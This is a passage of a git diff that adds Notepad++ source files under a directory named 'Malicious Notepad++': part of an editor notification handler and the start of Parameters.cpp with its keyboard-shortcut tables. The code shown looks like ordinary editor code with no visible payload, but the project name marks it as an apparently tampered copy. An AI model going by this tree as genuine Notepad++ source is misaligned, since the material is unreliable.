+ + case SCN_MACRORECORD: + { + _macro.push_back( + recordedMacroStep( + notification->message, + notification->wParam, + notification->lParam, + static_cast(_pEditView->execute(SCI_GETCODEPAGE)) + ) + ); + break; + } + + case SCN_PAINTED: + { + if (not notifyView) + return FALSE; + + // ViewMoveAtWrappingDisableFix: Disable wrapping messes up visible lines. + // Therefore save view position before in IDM_VIEW_WRAP and restore after SCN_PAINTED, as doc. says + if (_mainEditView.isWrapRestoreNeeded()) + { + _mainEditView.restoreCurrentPos(); + _mainEditView.setWrapRestoreNeeded(false); + } + + if (_subEditView.isWrapRestoreNeeded()) + { + _subEditView.restoreCurrentPos(); + _subEditView.setWrapRestoreNeeded(false); + } + notifyView->updateLineNumberWidth(); + if (_syncInfo.doSync()) + doSynScorll(HWND(notification->nmhdr.hwndFrom)); + + NppParameters *nppParam = NppParameters::getInstance(); + + // if it's searching/replacing, then do nothing + if ((_linkTriggered && !nppParam->_isFindReplacing) || notification->wParam == LINKTRIGGERED) + { + int urlAction = (NppParameters::getInstance())->getNppGUI()._styleURL; + if ((urlAction == 1) || (urlAction == 2)) + addHotSpot(); + _linkTriggered = false; + } + + if (_pDocMap && (not _pDocMap->isClosed()) && _pDocMap->isVisible() && not _pDocMap->isTemporarilyShowing()) + { + _pDocMap->wrapMap(); + _pDocMap->scrollMap(); + } + break; + } + + case SCN_HOTSPOTDOUBLECLICK: + { + if (not notifyView) + return FALSE; + + // Get the style and make sure it is a hotspot + uint8_t style = static_cast(notifyView->execute(SCI_GETSTYLEAT, notification->position)); + if (not notifyView->execute(SCI_STYLEGETHOTSPOT, style)) + break; + + int startPos, endPos, docLen; + startPos = endPos = notification->position; + docLen = notifyView->getCurrentDocLen(); + + // Walk backwards/forwards to get the contiguous text in the same style + while (startPos > 0 && static_cast(notifyView->execute(SCI_GETSTYLEAT, startPos - 1)) == style) + startPos--; + while (endPos < docLen && static_cast(notifyView->execute(SCI_GETSTYLEAT, endPos)) == style) + endPos++; + + // Select the entire link + notifyView->execute(SCI_SETANCHOR, startPos); + notifyView->execute(SCI_SETCURRENTPOS, endPos); + + generic_string url = notifyView->getGenericTextAsString(startPos, endPos); + ::ShellExecute(_pPublicInterface->getHSelf(), TEXT("open"), url.c_str(), NULL, NULL, SW_SHOW); + + break; + } + + case SCN_NEEDSHOWN: + { + break; + } + + case SCN_CALLTIPCLICK: + { + AutoCompletion * autoC = isFromPrimary?&_autoCompleteMain:&_autoCompleteSub; + autoC->callTipClick(notification->position); + break; + } + + case RBN_HEIGHTCHANGE: + { + SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + break; + } + + case RBN_CHEVRONPUSHED: + { + NMREBARCHEVRON * lpnm = reinterpret_cast(notification); + ReBar * notifRebar = &_rebarTop; + if (_rebarBottom.getHSelf() == lpnm->hdr.hwndFrom) + notifRebar = &_rebarBottom; + + //If N++ ID, use proper object + if (lpnm->wID == REBAR_BAR_TOOLBAR) + { + POINT pt; + pt.x = lpnm->rc.left; + pt.y = lpnm->rc.bottom; + ClientToScreen(notifRebar->getHSelf(), &pt); + _toolBar.doPopop(pt); + return TRUE; + } + + //Else forward notification to window of rebarband + REBARBANDINFO rbBand; + ZeroMemory(&rbBand, REBARBAND_SIZE); + rbBand.cbSize = REBARBAND_SIZE; + + rbBand.fMask = RBBIM_CHILD; + ::SendMessage(notifRebar->getHSelf(), RB_GETBANDINFO, lpnm->uBand, reinterpret_cast(&rbBand)); + ::SendMessage(rbBand.hwndChild, WM_NOTIFY, 0, reinterpret_cast(lpnm)); + break; + } + + default: + break; + + } + return FALSE; +} + diff --git a/Malicious Notepad++/src/Parameters.cpp b/Malicious Notepad++/src/Parameters.cpp new file mode 100644 index 0000000..2371402 --- /dev/null +++ b/Malicious Notepad++/src/Parameters.cpp @@ -0,0 +1,6619 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include +#include "Parameters.h" +#include "FileDialog.h" +#include "ScintillaEditView.h" +#include "keys.h" +#include "localization.h" +#include "localizationString.h" +#include "UserDefineDialog.h" + +using namespace std; + + +namespace // anonymous namespace +{ + + +struct WinMenuKeyDefinition //more or less matches accelerator table definition, easy copy/paste +{ + //const TCHAR * name; //name retrieved from menu? + int vKey; + int functionId; + bool isCtrl; + bool isAlt; + bool isShift; + TCHAR * specialName; //Used when no real menu name exists (in case of toggle for example) +}; + + +struct ScintillaKeyDefinition +{ + const TCHAR * name; + int functionId; + bool isCtrl; + bool isAlt; + bool isShift; + int vKey; + int redirFunctionId; //this gets set when a function is being redirected through Notepad++ if Scintilla doesnt do it properly :) +}; + + +/*! +** \brief array of accelerator keys for all std menu items +** +** values can be 0 for vKey, which means its unused +*/ +static const WinMenuKeyDefinition winKeyDefs[] = +{ + // V_KEY, COMMAND_ID, Ctrl, Alt, Shift, cmdName + // ------------------------------------------------------------------------------------- + // + { VK_N, IDM_FILE_NEW, true, false, false, nullptr }, + { VK_O, IDM_FILE_OPEN, true, false, false, nullptr }, + { VK_NULL, IDM_FILE_OPEN_FOLDER, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_OPEN_CMD, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_OPEN_DEFAULT_VIEWER, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_OPENFOLDERASWORSPACE, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_RELOAD, false, false, false, nullptr }, + { VK_S, IDM_FILE_SAVE, true, false, false, nullptr }, + { VK_S, IDM_FILE_SAVEAS, true, true, false, nullptr }, + { VK_NULL, IDM_FILE_SAVECOPYAS, false, false, false, nullptr }, + { VK_S, IDM_FILE_SAVEALL, true, false, true, nullptr }, + { VK_NULL, IDM_FILE_RENAME, false, false, false, nullptr }, + { VK_W, IDM_FILE_CLOSE, true, false, false, nullptr }, + { VK_W, IDM_FILE_CLOSEALL, true, false, true, nullptr }, + { VK_NULL, IDM_FILE_CLOSEALL_BUT_CURRENT, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_CLOSEALL_TOLEFT, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_CLOSEALL_TORIGHT, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_DELETE, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_LOADSESSION, false, false, false, nullptr }, + { VK_NULL, IDM_FILE_SAVESESSION, false, false, false, nullptr }, + { VK_P, IDM_FILE_PRINT, true, false, false, nullptr }, + { VK_NULL, IDM_FILE_PRINTNOW, false, false, false, nullptr }, + { VK_F4, IDM_FILE_EXIT, false, true, false, nullptr }, + { VK_T, IDM_FILE_RESTORELASTCLOSEDFILE, true, false, true, TEXT("Restore Recent Closed File")}, + +// { VK_NULL, IDM_EDIT_UNDO, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_REDO, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_CUT, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_COPY, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_PASTE, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_DELETE, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_SELECTALL, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_BEGINENDSELECT, false, false, false, nullptr }, + + { VK_NULL, IDM_EDIT_FULLPATHTOCLIP, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_FILENAMETOCLIP, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_CURRENTDIRTOCLIP, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_INS_TAB, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_RMV_TAB, false, false, false, nullptr }, + { VK_U, IDM_EDIT_UPPERCASE, true, false, true, nullptr }, + { VK_U, IDM_EDIT_LOWERCASE, true, false, false, nullptr }, + { VK_U, IDM_EDIT_PROPERCASE_FORCE, false, true, false, nullptr }, + { VK_U, IDM_EDIT_PROPERCASE_BLEND, false, true, true, nullptr }, + { VK_U, IDM_EDIT_SENTENCECASE_FORCE, true, true, false, nullptr }, + { VK_U, IDM_EDIT_SENTENCECASE_BLEND, true, true, true, nullptr }, + { VK_NULL, IDM_EDIT_INVERTCASE, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_RANDOMCASE, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_DUP_LINE, false, false, false, nullptr }, + { VK_I, IDM_EDIT_SPLIT_LINES, true, false, false, nullptr }, + { VK_J, IDM_EDIT_JOIN_LINES, true, false, false, nullptr }, + { VK_UP, IDM_EDIT_LINE_UP, true, false, true, nullptr }, + { VK_DOWN, IDM_EDIT_LINE_DOWN, true, false, true, nullptr }, + { VK_NULL, IDM_EDIT_REMOVEEMPTYLINES, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_REMOVEEMPTYLINESWITHBLANK, false, false, false, nullptr }, + { VK_RETURN, IDM_EDIT_BLANKLINEABOVECURRENT, true, true, false, nullptr }, + { VK_RETURN, IDM_EDIT_BLANKLINEBELOWCURRENT, true, true, true, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_LEXICOGRAPHIC_ASCENDING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_LEXICOGRAPHIC_DESCENDING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_INTEGER_ASCENDING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_INTEGER_DESCENDING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_DECIMALCOMMA_ASCENDING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_DECIMALCOMMA_DESCENDING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_DECIMALDOT_ASCENDING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SORTLINES_DECIMALDOT_DESCENDING, false, false, false, nullptr }, + { VK_Q, IDM_EDIT_BLOCK_COMMENT, true, false, false, nullptr }, + { VK_K, IDM_EDIT_BLOCK_COMMENT_SET, true, false, false, nullptr }, + { VK_K, IDM_EDIT_BLOCK_UNCOMMENT, true, false, true, nullptr }, + { VK_Q, IDM_EDIT_STREAM_COMMENT, true, false, true, nullptr }, + { VK_NULL, IDM_EDIT_STREAM_UNCOMMENT, false, false, false, nullptr }, + { VK_SPACE, IDM_EDIT_AUTOCOMPLETE, true, false, false, nullptr }, + { VK_SPACE, IDM_EDIT_AUTOCOMPLETE_PATH, true, true, false, nullptr }, + { VK_RETURN, IDM_EDIT_AUTOCOMPLETE_CURRENTFILE, true, false, false, nullptr }, + { VK_SPACE, IDM_EDIT_FUNCCALLTIP, true, false, true, nullptr }, + { VK_NULL, IDM_FORMAT_TODOS, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_TOUNIX, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_TOMAC, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_TRIMTRAILING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_TRIMLINEHEAD, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_TRIM_BOTH, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_EOL2WS, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_TRIMALL, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_TAB2SW, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SW2TAB_ALL, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SW2TAB_LEADING, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_PASTE_AS_HTML, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_PASTE_AS_RTF, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_COPY_BINARY, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_CUT_BINARY, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_PASTE_BINARY, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_OPENASFILE, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_OPENINFOLDER, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SEARCHONINTERNET, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_CHANGESEARCHENGINE, false, false, false, nullptr }, +// { VK_NULL, IDM_EDIT_COLUMNMODETIP, false, false, false, nullptr }, + { VK_C, IDM_EDIT_COLUMNMODE, false, true, false, nullptr }, + { VK_NULL, IDM_EDIT_CHAR_PANEL, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_CLIPBOARDHISTORY_PANEL, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_SETREADONLY, false, false, false, nullptr }, + { VK_NULL, IDM_EDIT_CLEARREADONLY, false, false, false, nullptr }, + { VK_F, IDM_SEARCH_FIND, true, false, false, nullptr }, + { VK_F, IDM_SEARCH_FINDINFILES, true, false, true, nullptr }, + { VK_F3, IDM_SEARCH_FINDNEXT, false, false, false, nullptr }, + { VK_F3, IDM_SEARCH_FINDPREV, false, false, true, nullptr }, + { VK_F3, IDM_SEARCH_SETANDFINDNEXT, true, false, false, nullptr }, + { VK_F3, IDM_SEARCH_SETANDFINDPREV, true, false, true, nullptr }, + { VK_F3, IDM_SEARCH_VOLATILE_FINDNEXT, true, true, false, nullptr }, + { VK_F3, IDM_SEARCH_VOLATILE_FINDPREV, true, true, true, nullptr }, + { VK_H, IDM_SEARCH_REPLACE, true, false, false, nullptr }, + { VK_I, IDM_SEARCH_FINDINCREMENT, true, true, false, nullptr }, + { VK_F7, IDM_FOCUS_ON_FOUND_RESULTS, false, false, false, nullptr }, + { VK_F4, IDM_SEARCH_GOTOPREVFOUND, false, false, true, nullptr }, + { VK_F4, IDM_SEARCH_GOTONEXTFOUND, false, false, false, nullptr }, + { VK_G, IDM_SEARCH_GOTOLINE, true, false, false, nullptr }, + { VK_B, IDM_SEARCH_GOTOMATCHINGBRACE, true, false, false, nullptr }, + { VK_B, IDM_SEARCH_SELECTMATCHINGBRACES, true, true, false, nullptr }, + { VK_NULL, IDM_SEARCH_MARK, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_MARKALLEXT1, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_MARKALLEXT2, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_MARKALLEXT3, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_MARKALLEXT4, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_MARKALLEXT5, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_UNMARKALLEXT1, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_UNMARKALLEXT2, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_UNMARKALLEXT3, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_UNMARKALLEXT4, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_UNMARKALLEXT5, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_CLEARALLMARKS, false, false, false, nullptr }, + { VK_1, IDM_SEARCH_GOPREVMARKER1, true, false, true, nullptr }, + { VK_2, IDM_SEARCH_GOPREVMARKER2, true, false, true, nullptr }, + { VK_3, IDM_SEARCH_GOPREVMARKER3, true, false, true, nullptr }, + { VK_4, IDM_SEARCH_GOPREVMARKER4, true, false, true, nullptr }, + { VK_5, IDM_SEARCH_GOPREVMARKER5, true, false, true, nullptr }, + { VK_0, IDM_SEARCH_GOPREVMARKER_DEF, true, false, true, nullptr }, + { VK_1, IDM_SEARCH_GONEXTMARKER1, true, false, false, nullptr }, + { VK_2, IDM_SEARCH_GONEXTMARKER2, true, false, false, nullptr }, + { VK_3, IDM_SEARCH_GONEXTMARKER3, true, false, false, nullptr }, + { VK_4, IDM_SEARCH_GONEXTMARKER4, true, false, false, nullptr }, + { VK_5, IDM_SEARCH_GONEXTMARKER5, true, false, false, nullptr }, + { VK_0, IDM_SEARCH_GONEXTMARKER_DEF, true, false, false, nullptr }, + + { VK_F2, IDM_SEARCH_TOGGLE_BOOKMARK, true, false, false, nullptr }, + { VK_F2, IDM_SEARCH_NEXT_BOOKMARK, false, false, false, nullptr }, + { VK_F2, IDM_SEARCH_PREV_BOOKMARK, false, false, true, nullptr }, + { VK_NULL, IDM_SEARCH_CLEAR_BOOKMARKS, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_CUTMARKEDLINES, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_COPYMARKEDLINES, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_PASTEMARKEDLINES, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_DELETEMARKEDLINES, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_DELETEUNMARKEDLINES, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_INVERSEMARKS, false, false, false, nullptr }, + { VK_NULL, IDM_SEARCH_FINDCHARINRANGE, false, false, false, nullptr }, + + { VK_NULL, IDM_VIEW_ALWAYSONTOP, false, false, false, nullptr }, + { VK_F11, IDM_VIEW_FULLSCREENTOGGLE, false, false, false, nullptr }, + {VK_F12, IDM_VIEW_POSTIT, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_TAB_SPACE, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_EOL, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_ALL_CHARACTERS, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_INDENT_GUIDE, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_WRAP_SYMBOL, false, false, false, nullptr }, +// { VK_NULL, IDM_VIEW_ZOOMIN, false, false, false, nullptr }, +// { VK_NULL, IDM_VIEW_ZOOMOUT, false, false, false, nullptr }, +// { VK_NULL, IDM_VIEW_ZOOMRESTORE, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_GOTO_ANOTHER_VIEW, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_CLONE_TO_ANOTHER_VIEW, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_GOTO_NEW_INSTANCE, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_LOAD_IN_NEW_INSTANCE, false, false, false, nullptr }, + + { VK_NUMPAD1, IDM_VIEW_TAB1, true, false, false, nullptr }, + { VK_NUMPAD2, IDM_VIEW_TAB2, true, false, false, nullptr }, + { VK_NUMPAD3, IDM_VIEW_TAB3, true, false, false, nullptr }, + { VK_NUMPAD4, IDM_VIEW_TAB4, true, false, false, nullptr }, + { VK_NUMPAD5, IDM_VIEW_TAB5, true, false, false, nullptr }, + { VK_NUMPAD6, IDM_VIEW_TAB6, true, false, false, nullptr }, + { VK_NUMPAD7, IDM_VIEW_TAB7, true, false, false, nullptr }, + { VK_NUMPAD8, IDM_VIEW_TAB8, true, false, false, nullptr }, + { VK_NUMPAD9, IDM_VIEW_TAB9, true, false, false, nullptr }, + { VK_NEXT, IDM_VIEW_TAB_NEXT, true, false, false, nullptr }, + { VK_PRIOR, IDM_VIEW_TAB_PREV, true, false, false, nullptr }, + { VK_NEXT, IDM_VIEW_TAB_MOVEFORWARD, true, false, true, nullptr }, + { VK_PRIOR, IDM_VIEW_TAB_MOVEBACKWARD, true, false, true, nullptr }, + { VK_TAB, IDC_PREV_DOC, true, false, true, TEXT("Switch to previous document") }, + { VK_TAB, IDC_NEXT_DOC, true, false, false, TEXT("Switch to next document") }, + { VK_NULL, IDM_VIEW_WRAP, false, false, false, nullptr }, + { VK_H, IDM_VIEW_HIDELINES, false, true, false, nullptr }, + { VK_F8, IDM_VIEW_SWITCHTO_OTHER_VIEW, false, false, false, nullptr }, + + { VK_0, IDM_VIEW_TOGGLE_FOLDALL, false, true, false, nullptr }, + { VK_0, IDM_VIEW_TOGGLE_UNFOLDALL, false, true, true, nullptr }, + { VK_F, IDM_VIEW_FOLD_CURRENT, true, true, false, nullptr }, + { VK_F, IDM_VIEW_UNFOLD_CURRENT, true, true, true, nullptr }, + { VK_1, IDM_VIEW_FOLD_1, false, true, false, nullptr }, + { VK_2, IDM_VIEW_FOLD_2, false, true, false, nullptr }, + { VK_3, IDM_VIEW_FOLD_3, false, true, false, nullptr }, + { VK_4, IDM_VIEW_FOLD_4, false, true, false, nullptr }, + { VK_5, IDM_VIEW_FOLD_5, false, true, false, nullptr }, + { VK_6, IDM_VIEW_FOLD_6, false, true, false, nullptr }, + { VK_7, IDM_VIEW_FOLD_7, false, true, false, nullptr }, + { VK_8, IDM_VIEW_FOLD_8, false, true, false, nullptr }, + + { VK_1, IDM_VIEW_UNFOLD_1, false, true, true, nullptr }, + { VK_2, IDM_VIEW_UNFOLD_2, false, true, true, nullptr }, + { VK_3, IDM_VIEW_UNFOLD_3, false, true, true, nullptr }, + { VK_4, IDM_VIEW_UNFOLD_4, false, true, true, nullptr }, + { VK_5, IDM_VIEW_UNFOLD_5, false, true, true, nullptr }, + { VK_6, IDM_VIEW_UNFOLD_6, false, true, true, nullptr }, + { VK_7, IDM_VIEW_UNFOLD_7, false, true, true, nullptr }, + { VK_8, IDM_VIEW_UNFOLD_8, false, true, true, nullptr }, + { VK_NULL, IDM_VIEW_SUMMARY, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_PROJECT_PANEL_1, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_PROJECT_PANEL_2, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_PROJECT_PANEL_3, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_FILEBROWSER, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_DOC_MAP, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_FUNC_LIST, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_SYNSCROLLV, false, false, false, nullptr }, + { VK_NULL, IDM_VIEW_SYNSCROLLH, false, false, false, nullptr }, + { VK_R, IDM_EDIT_RTL, true, true, false, nullptr }, + { VK_L, IDM_EDIT_LTR, true, true, false, nullptr }, + { VK_NULL, IDM_VIEW_MONITORING, false, false, false, nullptr }, + + { VK_NULL, IDM_FORMAT_ANSI, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_AS_UTF_8, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_UTF_8, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_UCS_2BE, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_UCS_2LE, false, false, false, nullptr }, + + { VK_NULL, IDM_FORMAT_ISO_8859_6, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1256, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_13, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1257, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_14, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_5, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_MAC_CYRILLIC, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_KOI8R_CYRILLIC, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_KOI8U_CYRILLIC, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1251, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1250, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_437, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_720, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_737, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_775, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_850, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_852, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_855, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_857, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_858, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_860, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_861, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_862, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_863, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_865, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_866, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_DOS_869, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_BIG5, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_GB2312, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_2, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_7, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1253, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_8, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1255, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_SHIFT_JIS, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_EUC_KR, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_10, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_15, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_4, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_16, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_3, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_11, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_TIS_620, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_9, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1254, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1252, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_ISO_8859_1, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_WIN_1258, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_CONV2_ANSI, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_CONV2_AS_UTF_8, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_CONV2_UTF_8, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_CONV2_UCS_2BE, false, false, false, nullptr }, + { VK_NULL, IDM_FORMAT_CONV2_UCS_2LE, false, false, false, nullptr }, + + { VK_NULL, IDM_LANG_USER_DLG, false, false, false, nullptr }, + { VK_NULL, IDM_LANG_USER, false, false, false, nullptr }, + + { VK_NULL, IDM_SETTING_PREFERECE, false, false, false, nullptr }, + { VK_NULL, IDM_LANGSTYLE_CONFIG_DLG, false, false, false, nullptr }, + { VK_NULL, IDM_SETTING_SHORTCUT_MAPPER, false, false, false, nullptr }, + { VK_NULL, IDM_SETTING_IMPORTPLUGIN, false, false, false, nullptr }, + { VK_NULL, IDM_SETTING_IMPORTSTYLETHEMS, false, false, false, nullptr }, + { VK_NULL, IDM_SETTING_EDITCONTEXTMENU, false, false, false, nullptr }, + + { VK_R, IDC_EDIT_TOGGLEMACRORECORDING, true, false, true, TEXT("Toggle macro record")}, + { VK_NULL, IDM_MACRO_STARTRECORDINGMACRO, false, false, false, nullptr }, + { VK_NULL, IDM_MACRO_STOPRECORDINGMACRO, false, false, false, nullptr }, + { VK_P, IDM_MACRO_PLAYBACKRECORDEDMACRO, true, false, true, nullptr }, + { VK_NULL, IDM_MACRO_SAVECURRENTMACRO, false, false, false, nullptr }, + { VK_NULL, IDM_MACRO_RUNMULTIMACRODLG, false, false, false, nullptr }, + + { VK_F5, IDM_EXECUTE, false, false, false, nullptr }, + + { VK_NULL, IDM_CMDLINEARGUMENTS, false, false, false, nullptr }, + { VK_NULL, IDM_HOMESWEETHOME, false, false, false, nullptr }, + { VK_NULL, IDM_PROJECTPAGE, false, false, false, nullptr }, +// { VK_NULL, IDM_ONLINEHELP, false, false, false, nullptr }, + { VK_NULL, IDM_FORUM, false, false, false, nullptr }, + { VK_NULL, IDM_ONLINESUPPORT, false, false, false, nullptr }, + { VK_NULL, IDM_PLUGINSHOME, false, false, false, nullptr }, + { VK_NULL, IDM_UPDATE_NPP, false, false, false, nullptr }, + { VK_NULL, IDM_CONFUPDATERPROXY, false, false, false, nullptr }, + { VK_NULL, IDM_DEBUGINFO, false, false, false, nullptr }, + { VK_F1, IDM_ABOUT, false, false, false, nullptr } +// { VK_F1, IDM_HELP, false, false, true, nullptr } +}; + + + + +/*! +** \brief array of accelerator keys for all possible scintilla functions +** +** values can be 0 for vKey, which means its unused +*/ +static const ScintillaKeyDefinition scintKeyDefs[] = +{ + {TEXT("SCI_CUT"), SCI_CUT, true, false, false, VK_X, IDM_EDIT_CUT}, + {TEXT(""), SCI_CUT, false, false, true, VK_DELETE, 